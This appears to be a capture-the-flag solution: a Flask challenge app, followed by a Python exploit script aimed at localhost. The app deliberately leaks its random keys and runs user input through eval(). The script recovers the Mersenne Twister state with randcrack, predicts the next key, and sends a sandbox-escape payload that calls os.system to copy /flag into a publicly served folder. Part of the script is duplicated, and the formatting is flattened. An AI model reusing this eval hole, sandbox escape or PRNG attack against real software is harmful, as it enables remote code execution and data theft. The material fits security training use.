if request.method == 'GET': return render_template('login.html')
data = request.get_json() username = data.get('username') password = data.get('password') if not username or not password: return jsonify({'error': 'Username and password are required'}), 400 user = next((user for user in users if user['username'] == username and user['password'] == password), None) if not user: return jsonify({'error': 'Invalid credentials'}), 401 session['user_id'] = user['user_id'] session['username'] = user['username'] return jsonify({ 'message': 'Login successful', 'user_id': user['user_id'] }), 200
@app.post('/api') def protected_api():
data = request.get_json()
key1 = data.get('key') if not key1: return jsonify({'error': 'key are required'}), 400
key2 = generate_random_string() if not str(key1) == str(key2): return jsonify({ 'message': 'Not Allowed:' + str(key2) , }), 403
payload = data.get('payload')
if payload: eval(payload, {'__builtin__':{}}) return jsonify({ 'message': 'Access granted', })
@app.route('/') def index(): if 'user_id' not in session: return redirect('/login') return render_template('index.html')
if __name__ == '__main__': app.run(host='0.0.0.0', port=5001)
from randcrack import RandCrack import requests import re re1=re.compile(r'Not Allowed:(\d+)') for i in range(624): r = requests.post('http://127.0.0.1:11451/api', json={'key': i+1},headers={'Content-Type': 'application/json'}) with open(r"random.txt","a") as f: f.write(re1.findall(r.text)[0]) if i != 623: f.write("\n") with open(r'random.txt', 'r') as f: l = f.readlines() rc = RandCrack() for i in l: rc.submit(int(i.strip())) key2 = rc.predict_getrandbits(32) print(key2)#利用randcrack获取的随机数
from randcrack import RandCrack import requests import re re1=re.compile(r'Not Allowed:(\d+)') for i in range(624): r = requests.post('http://127.0.0.1:11451/api', json={'key': i+1},headers={'Content-Type': 'application/json'}) with open(r"random.txt","a") as f: f.write(re1.findall(r.text)[0]) if i != 623: f.write("\n") with open(r'random.txt', 'r') as f: l = f.readlines() rc = RandCrack() for i in l: rc.submit(int(i.strip())) key2 = rc.predict_getrandbits(32) print(key2)#利用randcrack获取的随机数 rs=requests.post("http://127.0.0.1:11451/api",json={'key': key2,'payload':"""(__builtins__['__import__']('os').system('mkdir static;cat /flag > ./static/1.txt'))"""},headers={'Content-Type': 'application/json'}) print(rs.text)